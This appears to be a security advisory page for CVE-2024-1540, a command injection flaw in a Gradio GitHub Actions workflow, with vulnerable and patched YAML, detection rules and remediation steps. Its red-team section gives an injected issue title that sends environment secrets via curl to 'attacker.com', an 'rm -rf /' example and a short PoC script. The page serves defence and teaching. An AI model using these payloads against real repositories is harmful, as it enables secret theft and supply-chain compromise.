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CVSS: 8.6 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1540

CVE-2024-1540 Command Injection in Gradio-app
📅 PUBLISHED: 2024-03-27 15:54 UTC 🔄 UPDATED: 2026-09-23 20:14 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.98%
👁️
1.98% probability
49.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1540 is a critical command injection vulnerability (CVSS 8.6) identified in the deploy+test-visual.yml workflow of the gradio-app/gradio repository. The flaw arises from improper neutralization of special elements used in a command, specifically within a GitHub Actions run operation. Attackers can exploit this by injecting malicious commands through GitHub context variables (e.g., ${{ github.event.issue.title }}), which are evaluated and substituted before script execution. This can lead to unauthorized modification of the base repository or exfiltration of secrets. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available.

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Supply Chain & Package Security

This vulnerability resides in the CI/CD pipeline of the Gradio project, which is a Python package (PyPI: gradio). While the package itself is not directly affected, the supply chain risk is significant: an attacker who compromises the CI workflow could inject malicious code into the Gradio package, affecting all downstream users. Organizations using Gradio should monitor for updates and consider forking the repository to apply custom security controls.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via GitHub events.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the workflow.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Secrets can be exfiltrated.
  • Integrity (I): High (H) – Repository code can be modified.
  • Availability (A): High (H) – Workflow disruption possible.

Threat Level: Critical. The vulnerability allows remote code execution in the CI environment, with potential for supply chain compromise.

Deep Dive & Mechanics

The vulnerability is located in the deploy+test-visual.yml GitHub Actions workflow. The workflow uses a run step that directly interpolates GitHub context variables (e.g., ${{ github.event.issue.title }}) into a shell command. For example:

- name: Deploy and test visual
  run: |
    echo "Processing issue: ${{ github.event.issue.title }}"
    # ... further commands using the title

GitHub Actions evaluates expressions inside ${{ }} before the script is executed. If an attacker creates an issue with a title containing shell metacharacters (e.g., ; rm -rf / ;), the resulting command becomes:

echo "Processing issue: ; rm -rf / ;"

This allows arbitrary command execution. The attacker does not need write access to the repository; they only need to create an issue or pull request that triggers the workflow.

Attack Flow:

  1. Attacker creates an issue in the gradio-app/gradio repository with a malicious title.
  2. The deploy+test-visual.yml workflow is triggered (e.g., on issues: opened).
  3. The run step interpolates the title into a shell command.
  4. The injected command executes, allowing the attacker to exfiltrate secrets (e.g., ${{ secrets.GITHUB_TOKEN }}) or modify repository content.

Vulnerable vs. Patched Code

Vulnerable Code (from deploy+test-visual.yml):

- name: Deploy and test visual
  run: |
    echo "Processing issue: ${{ github.event.issue.title }}"
    # ... other commands

Patched Code (recommended):

- name: Deploy and test visual
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Processing issue: $ISSUE_TITLE"
    # ... other commands

By setting the untrusted input to an environment variable (ISSUE_TITLE), the shell interprets it as a variable rather than part of the command string, preventing injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A GitHub account.
  • Ability to create an issue in the gradio-app/gradio repository (or a forked copy for testing).

Steps:

  1. Fork the gradio-app/gradio repository to your own GitHub account.
  2. Create a new issue with the following title:
    test; echo "INJECTED" > /tmp/pwned.txt; curl -X POST -d "$(env)" http://attacker.com/exfil;
    
  3. Monitor the workflow run in the Actions tab. The injected command will execute, creating a file or exfiltrating environment variables.

Proof-of-Concept (PoC) Script:

import requests

# Replace with your forked repo details
repo = "your-username/gradio"
token = "your_github_token"

headers = {"Authorization": f"token {token}"}
payload = {
    "title": "test; echo 'INJECTED' > /tmp/pwned.txt;",
    "body": "This is a test."
}
response = requests.post(f"https://api.github.com/repos/{repo}/issues", json=payload, headers=headers)
print(response.status_code)

Blue Team (Defense & Detection)

Detection:

  • Monitor GitHub Actions logs for unexpected commands or output.
  • Alert on workflow runs triggered by issues with suspicious titles (e.g., containing ;, |, $).

Prevention:

  • Use environment variables for all untrusted inputs.
  • Restrict workflow triggers to trusted users or require approval.
  • Implement branch protection rules to prevent direct pushes to default branches.

Indicators of Compromise (IOCs)

  • Network: Outbound connections from GitHub Actions runners to unknown IPs/domains.
  • File System: Unexpected files created in the runner's workspace (e.g., /tmp/pwned.txt).
  • Process: Execution of curl, wget, or other network tools in workflow logs.
  • Logs: GitHub Actions logs containing shell metacharacters in issue titles.

Detection Engineering

YARA Rule

rule CVE_2024_1540_CommandInjection {
    meta:
        description = "Detects command injection patterns in GitHub Actions workflow files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1540"
    strings:
        $injection = /\$\{\{.*(?:;|\||`|\$\().*\}\}/
    condition:
        $injection
}

Sigma Rule

title: CVE-2024-1540 Command Injection in Gradio CI/CD
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts in GitHub Actions workflow logs
author: Valters IT
logsource:
    category: process_creation
    product: github_actions
detection:
    selection:
        CommandLine|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in issue titles
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1540 Gradio CI Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/repos/"; http_uri; content:"/issues"; http_uri; pcre:"/title.*(?:;|\||`|\$\().*$/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable workflow until a patch is applied.
  2. Audit all workflows for similar unsafe interpolation of GitHub context variables.
  3. Rotate all secrets that may have been exposed (e.g., GITHUB_TOKEN, deployment keys).

Long-Term Fix:

  • Apply the patched code pattern: set untrusted inputs to environment variables before use.
  • Implement input validation and sanitization for all GitHub context variables.
  • Use GitHub's built-in env context to pass values safely.

Workaround:

  • Restrict workflow triggers to only trusted users (e.g., repository collaborators).
  • Use if conditions to skip workflows for untrusted actors.

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◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1540/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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